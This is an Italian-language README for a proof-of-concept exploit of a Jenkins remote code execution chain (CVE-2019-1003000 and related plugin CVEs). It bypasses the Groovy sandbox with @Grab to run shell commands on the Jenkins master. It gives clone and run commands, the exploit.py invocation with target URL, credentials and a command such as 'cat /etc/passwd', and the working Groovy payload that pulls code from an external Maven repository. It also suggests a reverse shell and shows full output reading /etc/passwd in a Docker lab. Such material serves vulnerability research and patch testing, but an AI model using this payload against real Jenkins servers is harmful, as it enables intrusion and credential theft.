
Proof-of-Concept di RCE su Jenkins: SECURITY-1266 / CVE-2019-1003000 (Script Security), CVE-2019-1003001 (Pipeline: Groovy), CVE-2019-1003002 (Pipeline: Declarative)
Una prova di concetto per consentire agli utenti con permesso Overall/Read e Job/Configure (e opzionalmente Job/Build) di bypassare la protezione sandbox ed eseguire codice arbitrario sul master o sul nodo Jenkins.
Aggiornamento: Un articolo di Orange Tsai che spiega la catena di exploit utilizzando CVE-2018-1000861 e CVE-2019-1003000 che bypassa la necessità del permesso Overall/Read per una RCE pre-autenticazione: http://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html
$ git clone https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc.git
$ cd cve-2019-1003000-jenkins-rce-poc
$ pip install -r requirements.txt
Fornire l'URL di destinazione, il nome del job, le credenziali utente/password e il comando di sistema da eseguire, come argomenti.
$ python exploit.py --url http://jenkins-site.com --job job_name --username your_user --password your_passwd --cmd "cat /etc/passwd"
Citato da Red Hat Bugzilla - Bug 1667566:
È stato riscontrato un difetto in Pipeline: Declarative Plugin prima della versione 1.3.4.1, Pipeline: Groovy Plugin prima della versione 2.61.1 e Script Security Plugin prima della versione 1.50. La protezione sandbox di Script Security poteva essere aggirata durante la fase di compilazione dello script applicando annotazioni di trasformazione AST come @Grab agli elementi del codice sorgente. Sono interessate sia le API REST di validazione della pipeline che l'esecuzione effettiva dello script/pipeline. Ciò consentiva agli utenti con permesso Overall/Read, o in grado di controllare Jenkinsfile o i contenuti delle librerie condivise della pipeline in sandbox in SCM, di bypassare la protezione sandbox ed eseguire codice arbitrario sul master o sul nodo Jenkins. Tutte le trasformazioni AST pericolose note in Groovy sono ora vietate negli script in sandbox.
Questa PoC utilizza un utente con permesso Overall/Read e Job/Configure per eseguire uno script di build modificato maliziosamente in modalità sandbox, e tenta di bypassare la limitazione della modalità sandbox per eseguire script arbitrari (in questo caso, eseguiremo un comando di sistema).
Come contesto, lo script di build della pipeline di Jenkins è scritto in Groovy. Questo script di build viene compilato ed eseguito sul master o sul nodo Jenkins, contenendo la definizione della pipeline, ad esempio cosa fare nei nodi slave. Jenkins fornisce anche lo script da eseguire in modalità sandbox. In modalità sandbox, tutte le funzioni pericolose sono nella blacklist, quindi un utente normale non può fare nulla di malevolo al server Jenkins.
Tuttavia, poiché lo script di build è scritto in Groovy, possiamo usare qualsiasi classe o funzione dei pacchetti Java (ma in modalità sandbox, quelle pericolose integrate sono nella blacklist). In questo caso, stiamo usando le annotazioni di trasformazione AST @Grab per fare in modo che Jenkins importi pacchetti Java arbitrari da un repository Maven esterno. In questa PoC, uso la classe ProcBuilder definita in org.buildobjects:jproc:2.2.3 per eseguire un comando di shell di sistema.
Il payload è definito come segue:
import org.buildobjects.process.ProcBuilder
@Grab('org.buildobjects:jproc:2.2.3')
class Dummy{ }
print new ProcBuilder("/bin/bash").withArgs("-c","cat /etc/passwd").run().getOutputString()
Lo script sopra verrà compilato ed eseguito sul master o nodo Jenkins. Dopo che la build del job è stata completata, possiamo vedere il risultato del comando shell cat /etc/passwd nell'output della console del job. Inoltre, possiamo utilizzare questa RCE per ottenere una reverse shell, e letteralmente pwnare il server Jenkins!
Un esempio di Jenkins vulnerabile è fornito in questo repository nella directory sample-vuln in formato container Docker. Dopo l'avvio, l'immagine del container avrà un sito Jenkins ospitato sulla porta tcp/8080, con un utente normale con permesso Overall/Read + Job/Configure + Job/Build con credenziali user1:user1, e un job di pipeline con id my-pipeline.
$ cd sample-vuln
$ ./run.sh
$ cd ..
$ python exploit.py --url http://localhost:8080 --job my-pipeline --username user1 --password user1 --cmd "cat /etc/passwd"
[+] connecting to jenkins...
[+] crafting payload...
[+] modifying job with payload...
[+] putting job build to queue...
[+] waiting for job to build...
[+] restoring job...
[+] fetching output...
[+] OUTPUT:
Started by user User 1
Running in Durability level: MAX_SURVIVABILITY
[Pipeline] echo
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/bin/sh
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
postgres:x:70:70::/var/lib/postgresql:/bin/sh
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
jenkins:x:1000:1000:Linux User,,,:/var/jenkins_home:/bin/bash
[Pipeline] End of Pipeline
Finished: SUCCESS